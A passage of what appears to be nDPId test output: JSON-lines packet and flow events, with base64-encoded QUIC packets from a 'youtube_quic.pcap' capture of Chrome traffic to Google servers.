AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +02209{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":786198,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"gCqojWksxCwDBkn+CABFAAViJ80AAEARAADAqAEH2DrGIdsKAbsFTmVrDGI\/o1o3gkQjAiGIK5vcpGTBZSvo8kAB8A0BAQCmqwAABgGkARQFAARDSExPHQAAAFBBRADgAAAAU05JAO0AAABTVEsAKQEAAFNOTwBhAQAAVkVSAGUBAABDQ1MAdQEAAE5PTkOVAQAATVNQQ5kBAABBRUFEnQEAAFVBSUTMAQAAU0NJRNwBAABUQ0lE4AEAAFBETUTkAQAAU1JCRugBAABTTUhM7AEAAElDU0zwAQAAQ1RJTfgBAABOT05QGAIAAFBVQlM4AgAATUlEUzwCAABTQ0xTQAIAAEtFWFNEAgAAWExDVEwCAABDU0NUTAIAAENPUFRMAgAAQ0NSVGQCAABDRVRWCAMAAENGQ1cMAwAAU0ZDVxADAAAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLXl0My5nZ3BodC5jb234tcQIpfJfJoaQ2+TUueQp7YdzBlJ0koyNJl3BG1G+WCQLvCsiiOzFrXZVJtD5SrK2xLDllasCC5y1s3zh76K1Uop0NqfrRJsKfoc7wSEBleFkKiLrNNdU9+u4U\/7FsrSOhuzg\/URO++PvrjYBpFejJfcCJVEwMzUB6IFgkpIa6H7tgIaiFYKRWMXjbzAwMDAwMDAwgSzFPd1PF3axaL5AyOwihDE6fodkAAAAQ0MyMGJldGEgQ2hyb21lLzU3LjAuMjk4Ny45OCBJbnRlbCBNYWMgT1MgWCAxMF8xMl8za3Zj9RsCsgRL78LWSY4+jwAAAABYNTA5AAAQAAEAAAAeAAAAb+PFWAAAAAAD8vOozazLmpoBftyzTtCx5YKTvR4nOBeG4\/kV1kARA+4k\/WgyE0qpyY6\/Vmf8Zw2NuauSPM16NLrixbiDiic5ZAAAAAEAAABDMjU1HvdI4XZwU8Me90jhdnBTwz2t9HxBefiRQAt7kKmueeuz4LezLgHTiAD9ingf73at+XMxbEjkphGxSG8164iKphvSEu+eXttq72TUCPMa+W1RiMCzpfKfm\/QWCvfl5WFPUyFUVqXZsQ32ccFhA5pOW3TPaEQPm24aQNsEU5bODTt4ZVJl7cXlqmDTH9smgAaCJ4WDS4jTYXgfvLQFOwGDw10cs8nRU23ebDlhF0iw1LHIUiuHpoUraaxsVdUNL4ZG678u9gAA8AAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00971{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":786490,"pkt_caplen":459,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":459,"pkt_l4_len":425,"pkt":"gCqojWksxCwDBkn+CABFAAG9HH4AAEARAADAqAEH2DrGIdsKAbsBqWHGDGI\/o1o3gkQjA+pa0op2\/lrtTLBx\/CkD7R6nPBfeLN55P5NtJcBfEylr4aSp3ewJne06uZxAU6F7efLam2EfJe3j5W0Eeye3kqvJZtPEM6R7AM9gzE5QvJENR4+0xcLxuNNLW6MSU6Z\/+RAMC61jhsGrYm19RXhfatx6mqGqVPS\/3nM2FMYXkWV2qQjgYxpCGUR9e6rDh0sYUojEYbemycMTO4sSgPfm\/Dnb2tj7keXvK11OF2JOHSVGegGnppY3ndNK8ipwyZ8ofej5oOdbMURII6nEwIxpuXPTbXxWSYLiv7c0dozW7D4LJ\/3vewABPcVA\/lgpIvR5AG+\/yoRuMkaa29Czbq+l6Ni41shs9hCtEtng2g7N+5nBR+3x1DXmBh\/2QDCdDqP+Z4nIhyvoiTF\/\/zY\/ezFDw0r9vRlo4KPbXi8uD+EfKTtGqb1cRu\/MXaaScuOpgjr\/hQukFP6\/ICRhsjS9ZMZpPzcJS0H66ATyCEHLhOSfPme6KPNTUG9iPRaXKlbMmsntRVSppjWmEfgwv7ilFJr8MaG73CkXfThA"} +00587{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":786644,"pkt_caplen":177,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":177,"pkt_l4_len":143,"pkt":"gCqojWksxCwDBkn+CABFAACj4aAAAEARAADAqAEH2DrGIdsKAbsAj2CsDGI\/o1o3gkQjBFEyAZr70zUW\/e\/NC\/bkK6\/CS+XQYJcL5sO2iXIoer0ovsyyj2qgv0vQyViCEdyNjMtHHJwJQSug+EQ\/tNLJsdhNBRFTh4X\/FJFfq0X9w\/QfaQwCgd5hAmTS5Fdz4omguU2YZCNiDgunmwceRYCoMfKmfBewU0S+UsAICnJF"} +00589{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":786689,"pkt_caplen":178,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":178,"pkt_l4_len":144,"pkt":"gCqojWksxCwDBkn+CABFAACkbXwAAEARAADAqAEH2DrGIdsKAbsAkGCtDGI\/o1o3gkQjBcJV4mQNQtYkuJeLkyFEkSTxwqLgbKiFCViCZ3k41Af\/a9jTvoNz7z1ngr0tpr0JpN\/2P0p+XmEzqVF4gz64Lyk84V75kka1nBDIOPfG49he+pgGLeN6Yrhwg+s3kz9taEDhoeYdQaXq2yTxYA\/VBF\/G20\/P+JzLntAJEUMvMg=="} +00452{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":805670,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"xCwDBkn+gCqojWksCABFAAA\/AABAADUR5aLYOsYhwKgBBwG72woAK2k\/CGI\/o1o3gkQjA9bl7e9gG\/OjSGLnbEABhyQBAQBx\/\/\/\/BgI="} +02235{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":828015,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"xCwDBkn+gCqojWksCABFAAViAABAADUR4H\/YOsYhwKgBBwG72woFTl3BBM+UuS0zeJCTz7JWS1nkdqu8MTjka37hsuy\/7dEWuseKBJWO1zu1owpALffGkM\/qqjGGI\/9gvh921N\/ZwZBi74pnjC+9T84H3+4AOBeXbNZ6htYCthF1jaxYAIQIcO3GbIRNyjRC4L1NQfkM8QJ3g207zMIcCHvzu14M87orQvIGSI\/c9zNRx8OF1Ymy29L1sNoqxnrcS2OzyI0dIgemUSKf1B4QGHzJ\/ZvBBsXOik8csGhREdJPh+3WZRnJCJL\/\/+L3+MrwPfGpQjLD1a9vlIpS8SbsKwOypFl7+SXFhPBfPGf8OQEmLMel9KAZ97\/wGkTwtdfTwaz0eEfzeFVLcr9+QsrhVrWnAv45FbcdQGTJwJ\/JhX3UPcEC5xzVOf4jvh99bakgi6lGhyY6hAixExAf+IErG2FGGD9lsQlGdva9lSw78JACNn6ORMOcJayrERNy6buqgbjTS+8za1X\/1dre5YAxqXK52PZBjgzESB1So0cKFYxTYQZ42hkcnwDaVXFN2EmfqcMxhOj3RpQrKkj5zeNaKphW4mZzJ1DDwkO6HmYNxTUCSeF1btZCg+rR4eAQGsJXUcG6pAl50tfru39x7qNZ0AfG9SYFi+0VyaogM2qDu2iTKt7nSM8vC2BHGS\/d92oZDHV0pqsDLNEaXwviAaj7itL7nTjuVSycIF5Ug5vviMZDU0k\/o+5Ck7ehKKGmPexIcvANmAVRb6LTNGzBJP5zpDmsvdq6rJSiYub1DGIGTHR3udrxv+tJZOFsTIGYCjrjL74G5PttIyCpju2iJmHwRei9JYnkyDCN7XlR8Ma43FxUH1taPgcPmQfhPx3JbAUThMgrH4EHC+iwnV0e60oW3Q3UZ+ixHBdJmcnFhqxptzzHwKFpZkFXCy\/NBjts1ybqZp1dCVRjUn0TzRZLY7B6FXdvS1Eb6xjQ3XzZNNu08\/Y+dc++I6tZCxnvn7iSgBfIvjtphC5P8m3Rkm8GHPiNvIfUmYVhV8oYmEvhfK6FZiOMXaEoZLkoxO8IT5SguojaTOeLjzoF02o\/eaWEJ\/3UNvZJXdDEPJGe0k0AXVAgo9E24TKMdHJbtBih68zyWsZHQQQ8rGIiCNwkxuwzjzBrGXsdQHagBmoTLG\/HFkRMveUeP5Wmx2kuqsaRFAA6Dis+UleT0BwPXKp\/nNCaTfLDEm\/yBYlvth6qF3X22sxNGIxdg8lC7\/s88Mz6\/ZMpV3RxUiynfy3rS+McJnQPTCNeswD5ysG2AImSG1MHT0dH8m9sBYfzUt3QCQgq3ffFlpT26JYcBjINvlW60LgHvxnIryoExUPFXKg\/Mxr5tvp6acLXiuo4SUiEyYGXIh0ZlCJzkmPySCR03wgPB1IbKeggA7eH7unJir5V5Ym\/mZu85rZX5FAZdKm931fRmsxbVViR+wxK770Bi+9n9Wg0Ahy0bM0Xdm4fxpG2frmZLyOA5SAqqLFMLytPNMUqxAs2rlMDa4B1nRAcjeMe6Ns3FLOj8X1CacEN\/4iCtG0OabLz7WslAICrIgjPiOhDu8jEnXImov7SAKc7f4Lq\/HpGQyHtDXHCBD7DiA+\/MGKGeY38rNDFxzCvW7u0qvIh0jA394o5dse2btg0hOFpH8ZBUWQPAx615nB9NbzCp82Kf+\/8uL95E5SUPlmme1VkJdeLY3bCCyc3\/h15zUWIfP+8Di5ZrZ7\/njK6hD0QOv6w75hCxPWnmcVjyt4llIrcG5w+ef7OtvGJrOTwIepUEB8BsEDkutgW3VcKoVnZTlVlr4B\/J1lYpRBQO7Xu2kTi1zCa\/VeL"} +00442{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":828021,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"xCwDBkn+gCqojWksCABFAAA7AABAADUR5abYOsYhwKgBBwG72woAJyCbAAXfSLQ2pIpISGECLi9nb6jEsAG45\/+3zy90rPX34A=="} +00454{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":828571,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"gCqojWksxCwDBkn+CABFAABFolIAAEARAADAqAEH2DrGIdsKAbsAMWBODGI\/o1o3gkQjBs95XY2jNugcg2fObf3ElgzmH1YVDPfRmktaWUUcMZU="} +00455{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":828644,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"gCqojWksxCwDBkn+CABFAABFFj4AAEARAADAqAEH2DrGIdsKAbsAMWBODGI\/o1o3gkQjB+HpbKDoTTO\/1zEdIUY8Ql3L7WXnXeb1Ms+k+OD75iY="} +02231{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":832332,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"xCwDBkn+gCqojWksCABFAAViAABAADUR4H\/YOsYhwKgBBwG72woFTrMxAAbhzegoysNrhdB+bPAnQ+vW3yiLFPm2HvGfzkZiZL+ShbaJpKJ9qo1qhwusH6Ai22Hp+rTbXoYkA5m4GKpciU8wEGLnMLfSuVCKs1b2cGKIXM\/68FPBUzZ3Ucn88ylG++0HRwTNxYtsVzoikVb4\/fMjxeMAjIPhkzQF7GwVDBDZ+8+30EDqvNwG+9WCKuD7pzzmoybDY0rZMjUPBAT7TqXuHO6W4oxWOFU9WnE0kG3ECQp8q2QN6z\/A21ymsA4hMI4LwPjteJtb3nbBsRUzdtaWBLpFD+E3BZJhbW4GUj+x3XJsz6cIRGPJ\/3ei0OiU8z663tE8zj+VYdtn8GQEQkxMxQ9Om8qdYe3ZNj31Impg2AO7Pn8U8Xlga0udz41z9TrmQxPgar3JhX8Kl+bw9gQWj6ozUguQ\/ZvwoRPWIMHn5iILzVVwKlPL96cPwx6PNehdWDsrthXZiroApSeyfWFcXmomYnz0ml6TqMdcHfVO\/OQULdbunbIQJZJKm7aGuyX0ayMf0\/5TeJ5a+sbrcSRjqOGIAH0Wp6z2bRr6olojVvzxK3a1Y47FW85Estu7hHw6apq+trwVvhBGFfY3hT7QEEzcjMMT7rtXrc85r4VOyUGCuUBJkIk7XEAyivRWmJEa\/Zzg\/1ytKTwCGxhuNKRK78CRoqnbmyiy0QNY683f94XPChYrroymD2OekNi0HNWE4a55NN6XcQfBZNX2b9YussLmMsYEHSddxE3oSLqFWulbhX5pFyHFSCLYb7x7g8m\/lDnNzLaBC46\/ChM7pDz4gJ6p+twqN4wYn\/SCKrjhW4o737wOYdT8yeLw4ka8u+na7L7SpdFwVs5kOItz9l88O0ljiqUQ1oA7kwtE4CVGgaHYUIkBJzI7O7dx\/WbF9Ftur4gA7ZyjjWCCS7fuGMavSMLYVS2jk5DtO1rC2vfZNm5wBQPd9X3XRR1\/Y8bWgrBdlCDg7I52helf+IDQE4xL8VjEhvvpADIsRv0p\/OU9SAYvRuJ3T8jj1cdGuRzKD4BkszgCUs0klRADgCTocCPST\/sykBAdUkn0OnZ2XH8H3uj2h66mOIpq7g0aCCj1uS3mcsYvDRYwqpM+\/AHrF0FOT931skPs+J8tL4H0Uy8+m+lyXJH4FBDz8+uGsHmJ9RuYUK9sgCQKY+j9qkK57BxeMDRxsYv6F4WGPVUiJASGnBXsRPgild3j1WZGxmfWQmvt9\/k\/CpyxUTkPAGDcfbhwUtjgS42WGwQj2d3HOAfmPxhfHw0GMgWDVcOo+5PP+yDG\/EJP7ED7NWIEK5FgA5EnqEERAY7May6TAev1XXwf\/bm3bNsRvPN0fJBbFa5nM1FW8jbjbE2zb9TkxMxNE093IgvBR6oWxPSKWZYfjoQ516vjUtp+bKmV5ERUavaXht9JfzraAQqNeT\/e2B5yQ01AQma0pUJjjSeGnoy9MAvMQeklOSr8V4+XD730WxdDjmGCgUnWSLonpOzv7eklpS3sTTp\/WTRAlkxaVFa39NwctHA1AOczu5JcNnOybI9n5fYNtQB03vG03n0sIEAWrE534fCD0vNC1PZKvPBPBzyq4\/J2CC1O8xdvVzfhpvoBTJsW6ECW4qaAzsVKEOEWlzSXmqjg8YtzVaedBYfFOUGM9mlAKQt5kS\/zqVXI1iMqQL6H08UHqBDd1bAObW9MHeCLm71qu0bGYQDlRBWgrSQqw81Mbb4BK3SpF2\/8xhJZEj1sE240\/KBumQ3HjcJ1880P6ikgs4KruaQsowkmH39bQckqNZBDd38m7ffrtieOi+qP0bfE"} +02225{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":833581,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"xCwDBkn+gCqojWksCABFAAViAABAADUR4H\/YOsYhwKgBBwG72woFTkzwAAdOH\/YGIbhrxzG2T2SUh5YE3TlpI37pzaqz5q3ygbhnngoAqZgsfw1uMqALhiQw4AxHoPG7uPdrSmW1OUMyJ773lM7skE4GaaOLAjI8udVG5MRiyilZowwgfZiiDsE1qXqMTYWtg9oADBw3GlgbgCZWzfRTJ5xIYTSd0rQcBQK4mgge\/m2fmlIsrrJoPXubYEvUOCvNXTmq+XVZcpPSWSg6AuIwCIebqbVLiC1h\/lpfsjF42EB9tVjWvgPH7qeHeovYwBI+kGTEJiFK+7ISEyWXyn80Dir+O0hFUfWgJ3AhSz0yaZV63CkWFKLxx7kwl9jKx2IclAVX3yun9I+OrgB6AXGbHFaa3twQ9OoyyZKKKZwrrRXNR3ilarqbBizuUeF0II4qcp8hpY\/tWid8E8Apqd46HdCEu4T4r1879S6LgU7gE9KkI2EpbTlSKZyw6v4P5y5Hp+ZwBAPerQCAX0fh3g8iMT3B05kAsnK27gc0e16Y2ymkRRJEBaTOFSFF\/VLYL5yQd73PslxrXLffCTps\/R9kNbgpbmfqGRAYAnzYMDf9dWAKlQW82\/53+ty+JSq7puW9Tb4UBZmmHY2XKk8V+5pnpUklt91+bu55Ixz2djo5J+AHhrtUS59x8nnOhoCqiFU6EmoCrSYOwIaf1E2ch3dCuL63goWuxjVKTwYhOlOyB0FBRzq3AwOK0BHjEpc1HQi2dj1VY2R6tpKR0nw5MxRQUFJlpg36s5f9Szd2zRxS1ZXp5RIt6\/sgqG6NQDd0bH3sAQBdPTbf3FSMIZgbPQvpNJiFRUrYKe1XR3vC6zxVBFobY4SyBXN4RHQzUUhHtnPbijro5IVbqvc3g2Xn0hexrl+LOjiJm4xpXLUIwl+xzAOzuVKAnWFwXBKCEyBQcD+iO7Nek9BYIRzNDAJoUOXZcRnEb21Mp52+xzNoXcje11pF7MgAAuUlLC5IDRAE+bg4hbeAGAEs8DAYQGkLALRBTRmYkRV8KuWrXcQ\/TtFQ5IS2UjHpkjRqozk6yMLdyL4idNkyjE50NhDuxg8Bb\/W1ltRBH22XbeFLlefmkAbRly64npKeP+v6OjrUIXE74nJHYwJ8G\/uoFrsDWeVI6gQhIl21MpUH1jMhn5TjYEixhdb1InD7RKEug9UDvee9LqjsRO\/hzK6irVtGIu32Qm0JCNpfJ0xmy1HQZdlGBFbwBPRLT4CuUM99eVFEeL7VhKrOdRKkIjBGrV\/DdaWF1rY2y0De\/4RRVWmVHrMTKTI3wlxGimuYoj0nRTeRnSazfskjIfUYMM4dCSo0m6O1exxT4qdH+gBNYtjrUQfQr016As8x8ngtdk+3EjzM7h+VEypx\/DqK8nvEL+N3bj+bc8TQTP82gVEPLQ\/Gp7wsOmLN8K5wixMfOmGKlVk3u\/oFLn2nlSFeI+vr\/LYVg1V9JvkslLi+hA+NVRrTNrNeMKnw2zx4Dra7HkxJQZSn7yDm7w1x6RLn9tdOxf\/o0X0UdfOLmvKENRMyHPiH6yC29EZ+fqSwjU3kCNIi3NUg7fZMOrI5qwlpdgxcv3nS+T5Gw7eJU+869SD9bJ7\/uN+6OZBNtfTBHPZ8k03ot3Bc4nzMdcUJtod2r8Y5fnaPuTt\/S8xQbRddWDwT2GfugYWfxjFBuHu96yi7hYsJQlZK54lYWrYI+9nHil0PVWDXSMJAGklyTWd3ljRNE7BUg3GgVjvlL5gLeN2WF7Dg9HF0ssHIC5QagxWdi7CH3H9dwMq1X7vConeOxILRlZN+OSZ87m3qRtx0dDRMgcwWeYRDCsC7G8xc"} +00450{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":833852,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"gCqojWksxCwDBkn+CABFAABCCcIAAEARAADAqAEH2DrGIdsKAbsALmBLDGI\/o1o3gkQjCNNQ08y87uHkHzhrLcEngIT3w8iKIy6akaUZgUE="} +00578{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":130,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":935313,"pkt_caplen":170,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":170,"pkt_l4_len":136,"pkt":"gCqojWksxCwDBkn+CABFAACc1kwAAEARAADAqAEH2DrNQtbVAbsAiGfGDJNw4V58RG0IBnD21Au\/fh+6EE2J+0mxHSbWMJSo9q9E3tWhswQuso6EsBdjCsEZAk+V7AOz\/XLkpqlSoYc\/kIXPWCpBAB1tLubLPKoh\/x8PfNMXSJsWK8ggDDs0XhcdaOqS\/DfTggTVRDrk94eKDIkQTBjUep2bLsJRdWBVT9E="} +00513{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":132,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":999542,"pkt_caplen":125,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":125,"pkt_l4_len":91,"pkt":"xCwDBkn+gCqojWksCABFAABvAABAADcR3FHYOs1CwKgBBwG71tUAW3wLAAaCckWqmAz7w9Os5EwDIkl5Nie3TGMXqV58DwE6Ko7B7BH\/QcO1LbyesVT13OIEqL+7XhTiNO7hX0UYVgOsYXqKZix0lQLr1jXLi3OezpqndHY="} +00449{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363824,"pkt_ts_usec":24913,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"gCqojWksxCwDBkn+CABFAABC+DUAAEARAADAqAEH2DrNQtbVAbsALmdsDJNw4V58RG0IB026tPOV01wVhUhlyfsy0Aem5ygQQRlQ2Txy4nw="} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":134,"source":"youtube_quic.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1489363824401,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"216.58.205.66","src_port":53859,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02212{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":134,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363824,"pkt_ts_usec":401150,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"gCqojWksxCwDBkn+CABFAAVisIYAAEARAADAqAEH2DrNQtJjAbsFTmyMDXhX73QJ\/9nIUTAzNQGC9mpeAxq6QsMNjNmgAQAEQ0hMTx0AAABQQUQACAEAAFNOSQAjAQAAU1RLAF0BAABWRVIAYQEAAENDUwBxAQAATk9OQ5EBAABNU1BDlQEAAEFFQUSZAQAAVUFJRMgBAABTQ0lE2AEAAFRDSUTcAQAAUERNROABAABTUkJG5AEAAFNNSEzoAQAASUNTTOwBAABDVElN9AEAAE5PTlAUAgAAUFVCUzQCAABNSURTOAIAAFNDTFM8AgAAS0VYU0ACAABYTENUSAIAAENTQ1RIAgAAQ09QVEgCAABDQ1JUYAIAAElSVFRkAgAAQ0VUVggDAABDRkNXDAMAAFNGQ1cQAwAALS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tZ29vZ2xlYWRzLmcuZG91YmxlY2xpY2submV0gCa63gfstks25NXDBda+jRe1AwMuFIPOgLr8Vdt88WUvAddL7KVg5kyrPLEzz5PxZEMuEuhwybaZ0VEwMzUB6IFgkpIa6H7tgIaiFYKRWMXjcDAwMDAwMDAwQoHc+xZQMEvJrifGGZTcfUn5aXxkAAAAQ0MyMGJldGEgQ2hyb21lLzU3LjAuMjk4Ny45OCBJbnRlbCBNYWMgT1MgWCAxMF8xMl8za3Zj9RsCsgRL78LWSY4+jwAAAABYNTA5AAAQAAEAAAAeAAAAcOPFWAAAAACN\/AA7IChJw\/uFk6rkJtT8KHam\/zP1YJxL1R6PGerdhviM0jsqfVXK1sMGRgIfu1Gw5yjD\/\/Q\/fKW3aZLxbK0ZZAAAAAEAAABDMjU1qvorPqjeOwuq+is+qN47Cz2t9HxBefiRQAt7kKmueet+NAEAgygqfGXu0L2syT5vA8mDxoSqG087cDiVovZ6s0ywmTUWtgw5lXy+Ac4T6qWEMJOPvUqVQrabfhIiKh6bU4h\/Diu+B3D3YFOkHFOA3JEmhpJ\/3PZn9DncBSC36LdWvsJ8Uwgl2IG2lc1SfhMotW8c5gE3wCT8YVfQJL1vCNMKzgZWBrzkDiYZ7cTxYUMsLfK1F7K2mD1WVm4PU008ujahjZ6t1bAAAPAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA